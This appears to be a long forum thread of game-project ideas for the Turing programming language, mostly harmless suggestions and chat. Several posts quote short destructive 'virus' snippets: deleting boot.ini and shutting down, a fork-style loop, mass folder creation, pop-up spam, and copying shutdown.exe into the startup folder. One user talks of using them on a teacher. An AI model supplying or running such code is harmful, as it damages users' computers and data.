*** also expanding on the last idea, i was thinking using networking, have a game exactly like that, but allows for more players, (specifics :: Saving private Ryan - the scene where the GI's defend the town) have say 1 player up in a bell tower with a sniper, visible to others, another up in the front with a machine gun, and so on. There would be a mass of targets and the objectives would be to stop the enemy from getting to the other side and to obtain the most points, The multiplayer element would be that the enemies would be available to all the players, so dynamically you could see the bullet trails and other players killing the enemies on your screen, so it would be a competition style play. Also health could be added so that a duck and dodge element could be implemented also. *** i know its pretty advance but i think it would be manageable in turing Razz

Author:  theguru [ Sun Dec 11, 2005 2:53 pm ]
Post subject: 

Martin wrote:
Virus Ideas.
-Make a program that deletes boot.ini and turns off your computer.
code:
Dir.Change ("C:\\")
File.Delete("boot.ini")
put Sys.Exec ("C:\\Windows\\Shutdown.exe")
%Goodbye computer

-Make a program that runs itself. Over and over and over (you've got to compile it to do this)
code:
loop
    put Sys.Exec ("ThisFile.Exe")
end loop

Your computer will lock up like a nervous virgin on prom night.
-Make a bunch of folders
code:
Dir.Change("C:\\")
for i:1..maxint
    Dir.Create (intstr(i))
end for


-Fun with pop up windows.
code:
var site : array 1..whatever of string := init ("www.porn.com", a bunch more porn sites)
loop
   if Sys.Exec (site (Rand.Int(1,upper(site)))) then
   end if
end loop



Make a collection of these for an...'alternet' ISU Twisted Evil


That's what you call genius, using a pathetic programming language into a dangerous one. lol.

Author:  Dan [ Sun Dec 11, 2005 9:30 pm ]
Post subject: 

I think only ur last one whould realy do much, the ones that copy files whould work in theroy but it whould take forever to do any real damge since the file is so small. I do not blive the 1st one will work at all and none of thess are techaly virus but rather just mascives progames.

Author:  MysticVegeta [ Fri Dec 16, 2005 4:48 pm ]
Post subject: 

The one line prank which will tick you off so bad you will want to hit yuor computer:

File.Copy ("C:/WINDOWS/system32/shutdown.exe","startup folder")

Author:  Unisyst [ Thu Dec 22, 2005 8:09 am ]
Post subject: 

Those 'pranks' are easily repairable by popping in the Window's CD then going into the Recovery Console.

Also a good 'game' idea would be a side-scroller engine.

Author:  ZeroPaladn [ Mon Jan 09, 2006 2:33 pm ]
Post subject: 

BOMBERMAN!

lolz its been a long time since ive posted here, or anywhere on compsci for that matter...

Author:  (O_o) [ Fri Jan 13, 2006 7:23 pm ]
Post subject: 

currently i'm doing a game like riden where asteroids come down from the screen and you have to shoot them, but every time you shoot the next one comes faster.

another idea would be a game like Znax
where you have to match objects in a row according to their similar colors.

Author:  ZeroPaladn [ Mon Jan 16, 2006 10:20 am ]
Post subject: 

also known as bejeweled Smile ive got it on my cell phone.

Author:  Rasta Fella [ Wed Jan 18, 2006 7:14 pm ]
Post subject: 

Make Maze Type Game for beginner Turing Users.
-Using 'whatdotcolour'
-Combination of different levels
-Password Textfields
-Instruction,Credits etc.

Simple Game for beginner programmers.

Author:  Clayton [ Tue Jan 24, 2006 2:00 am ]
Post subject: 

connect four
simple board game
yahtzee
pac-man
pokemon type game
press a key and the screen changes color (lolz)
battleship
easy rpg (couple battles, some movement)

these are fairly simple, ive done most of them

Author:  Mazer [ Sat Mar 04, 2006 10:32 pm ]
Post subject: 

http://katamaridamacy.jp/qa_data/katamari.html

'nuff said.

Author:  TokenHerbz [ Fri Mar 10, 2006 8:50 pm ]
Post subject: 

I sucsessfully made a beta RPG: Which needs the intro fixed / and more maps: But other then that its good, kinda short... Im still testing so ill post it in a few weeks maybe, i might want to add more to it... maybe...

Or i might make a space shooting dodge game or balmor man...

Author:  Cervantes [ Fri Mar 10, 2006 10:13 pm ]
Post subject: 

TokenHerbz wrote:
I sucsessfully made a beta RPG: Which needs the intro fixed / and more maps: But other then that its good, kinda short... Im still testing so ill post it in a few weeks maybe, i might want to add more to it... maybe...

I highly recommend anyone thinking of making an RPG to think again, unless you know classes and object oriented programming, object interaction, and inheritence and polymorphism..

Author:  TokenHerbz [ Tue Apr 04, 2006 5:17 pm ]
Post subject: 

cervantes, i didn't use class's :S

i used everything else though Smile

if you want to see it, just ask, ill show you what iv'e done so far.

Author:  Cervantes [ Tue Apr 04, 2006 8:37 pm ]
Post subject: 

TokenHerbz wrote:
cervantes, i didn't use class's :S

You should have. Smile

How obfuscated was your code? With OOP, even huge programs can be nice and clean.

Author:  Clayton [ Mon Aug 07, 2006 5:26 pm ]
Post subject: 

someone try and re-create Forces Very Happy and dont PM windsurfer for the source either...

Author:  jamesonline [ Thu Nov 30, 2006 6:04 pm ]
Post subject: 

I have an Atari at home - try to recreate the classics:

1. Dig Dug
2. centipede

or try making a copy of BASIC language!!!

Author:  mish [ Sat Dec 16, 2006 11:19 pm ]
Post subject: 

has anyone ever done a concentration game on turing?

Author:  xXKRISSYXx [ Thu Jan 11, 2007 8:35 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

im making a Yahtzee game but im having a lot of problems...can someone help me...my game is due 2morrow

Author:  Banished_Outlaw [ Sat Mar 24, 2007 3:54 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

I would suggest making pinball and solitaire...

Author:  Windsurfer [ Tue May 29, 2007 3:22 pm ]
Post subject: 

Clayton @ Mon Aug 07, 2006 5:26 pm wrote:
someone try and re-create Forces Very Happy and dont PM windsurfer for the source either...


Hey! The source is in the package! Razz
And, if you did want to re-create it, I'd love to see it in some other language than Turing so it's cross platform! My only request is to keep it open-source Smile

Author:  Tony [ Tue May 29, 2007 3:44 pm ]
Post subject: 

Windsurfer @ Tue May 29, 2007 3:22 pm wrote:
And, if you did want to re-create it, I'd love to see [Forces] in some other language than Turing so it's cross platform!

Yeah, just like that XNA version _someone_ was working on Wink

Author:  Clayton [ Tue May 29, 2007 4:03 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

Yeah... whatever happened with that? Oh, and I have one question... were you influenced by the game Geometry Wars when you coded Forces? Or is it the other way around :O

Author:  rollerdude [ Thu May 31, 2007 10:37 am ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

MAKE A REMAKE OF LEMMINGS!!!

i've suggested it to nintendo to redo it, but they haven't responded....


GO LEMMINGS!!

Author:  That Asian Guy [ Fri Nov 02, 2007 2:49 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

ddr games r actually pretty easy to make

Author:  Reira [ Fri Nov 02, 2007 4:00 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

That Asian Guy, if you actually succeeded making a good DDR game in Turing on your PC and you made the step pad yourself, too, then you're worth my admiration.

Author:  That Asian Guy [ Sat Nov 03, 2007 7:27 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

well ok.

a similar game when u press arrow keys instead of using a stepad

Author:  Clayton [ Sun Nov 04, 2007 8:56 am ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

Actually, it might be possible to have a steppad through Turing. It might take some look into the Joystick module. Might be worth looking into if you're ambitious.

Author:  Mazer [ Sun Nov 04, 2007 9:21 am ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

No, no. If you're going through the trouble of building a pad use the guts of a keyboard. Everything knows how to use a keyboard.

Author:  zylum [ Sun Nov 04, 2007 4:39 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

you can also use the parallel port..

Author:  Mazer [ Sun Nov 04, 2007 4:58 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

That's assuming that your computer actually has one (they aren't a rarity yet, but they are disappearing). And also that you want to trouble with it in Turing, but maybe you do.

Author:  Nick [ Sun Nov 04, 2007 6:00 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

...this joypad module intriges me *looks it up*

Author:  Clayton [ Sun Nov 04, 2007 6:59 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

Good luck, there's not a whole lot of documentation. I think there was a post from a while ago explaining everything about the Joystick module. Search it up if you're interested.

Author:  Nick [ Sun Nov 04, 2007 7:31 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

well i found 2 posts about the subject, searched turing's help, and found the joystick.tu file in the turing's predef folder

with all this i will mod the tu file and hopfully allow for joysticks (and gamepads) in turing games

i will post in a new topic if i reach anything

Author:  Mazer [ Sun Nov 04, 2007 7:42 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

I extended the Joystick module a long time ago. I posted it here and nobody gave a shit so I deleted it.

Author:  Nick [ Sun Nov 04, 2007 9:11 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

well im around now so if ya wanna repost that'd be great

Author:  Shainman [ Tue Jan 15, 2008 9:09 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

I just finished making city jumper for my grade 9 ISP. Its basically a stickfigure who has to jump over buildings, hes in constant motion, and the left and right key make him jump in a small or large arc. Its really easy and the collision detection is simple if you know how to do it Very Happy Very Happy

Author:  Nick [ Tue Jan 15, 2008 9:16 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

wow what a coinicidence this was brought back up hehe I modded the joystick module to work just the other day plus I got the POV to work as well as 32 buttons and to analog sticks Razz

Author:  yusong [ Fri Jan 18, 2008 6:38 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

How about a Zelda game, like a link to the past.?

Author:  SIXAXIS [ Wed Jan 30, 2008 6:00 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

I made a funny little Word 2007 emulator.

If you want it, PM me.

Author:  isaiahk9 [ Thu May 08, 2008 8:24 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

You could make a fighter game in Turing - choose your character choose your map and deke it out with attacks specific to each character. Items falling from the sky that the player could use would be nice. That's what I'm trying to do.
And if your on top of the ball with gravity and trajectory, you could try a Super Smash Bros type fighting system.

Author:  Jack140 [ Sun Nov 16, 2008 3:45 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

I've got a game idea: scrabble!!!...
this should be a contest...

who agree's with me???

Author:  Forumer [ Wed Dec 03, 2008 7:43 am ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

how abt a fps game?

Author:  CWRules [ Wed Apr 08, 2009 2:54 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

Initial D. Could be really good or really bad depending on how it's done.

Author:  gan gar [ Sat Dec 12, 2009 3:00 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

i am making a game controller and making super mario bros with turing go parallelget command.

Author:  livingheaven [ Mon Mar 29, 2010 7:32 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

Making a Maple Story style game to help haiti ... Very Happy

But ..often run in to trouble with codes .... =.=

Author:  redisforever [ Tue May 25, 2010 7:57 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

I'm actually making a smallish FPS game, click on targets, the dissappear, your ammo counter goes down. I also have to use the parallel port for something. I will use it to make a controller, you know, reload button, switch weapons for different fire rate, and ammo count. I need help with the "collision detection" for the boxes.

Author:  wysper [ Wed May 26, 2010 11:08 am ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

make an Oblivion game Razz

Author:  USEC_OFFICER [ Wed May 26, 2010 4:08 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

@redisforever: I actually have a game exactly like that. What do you mean by collision detection? Is it for hitting the boxes or if they get too close together. (Use What.Colour for hitting the boxes, it's the fastest way I know how.)

Author:  chrisbrown [ Wed May 26, 2010 5:50 pm ]
Post subject:  Re: RE:GAME IDEAS- Check Here First if you need some!!!!

USEC_OFFICER @ Wed May 26, 2010 4:08 pm wrote:
Use What.Colour for hitting the boxes, it's the fastest way I know how.

Bad.

What.Colour is for high school teachers who are unable or unwilling to teach <a href="http://compsci.ca/v3/viewtopic.php?t=13661">rectangular collision detection.</a>

Author:  redisforever [ Wed May 26, 2010 6:35 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

As a matter of fact, I have almost finished the game as of today. I have also added some code that randomly generates target co-ordinates and also a reload button. I also figured out how to get it to give you a point everytime you hit the target. I can post this later after I make it work without a parallel port controller I had to make. I'll have to make it use the keyboard.

Author:  Neoseeker [ Mon May 31, 2010 9:59 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

wtf? does the stuff Martin posted work? if i does...hehehehehe time for some paybak for marking so hard dear comp sci teacher

Author:  wysper [ Tue Jun 01, 2010 12:21 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

ooo ooo..make a simple tower defence game Very Happy

Author:  evildaddy911 [ Thu Nov 10, 2011 11:14 am ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

that wouldnt be hard, make 2-6 turrets, a path for the enemies to take, turret mount points and.. done

Author:  brownni [ Thu Jan 12, 2012 9:17 pm ]
Post subject:  Re: GAME IDEAS- Check Here First if you need some!!!!

Hi guys im new but i just found this thread and i wish i found it a couple days earlier Razz
Right now for my final grade 10 project im doing a deer hunting game Very Happy it is turning out to be really easy, and i think its a really easy game if you have a short amount of time Smile

Author:  Raknarg [ Thu Jan 12, 2012 9:28 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

@evildaddy Skyrim isnt too hard... just add some weapons, have the character move and attack and... done

Author:  mirhagk [ Thu Jan 12, 2012 9:44 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

don't forget to add lots of bugs, people love bugs.

I actually was going to make a skyrim clone, but then I took an arrow to the knee.

Author:  Raknarg [ Thu Jan 12, 2012 9:52 pm ]
Post subject:  RE:GAME IDEAS- Check Here First if you need some!!!!

haha or a sword to the chest, depending on where you go


: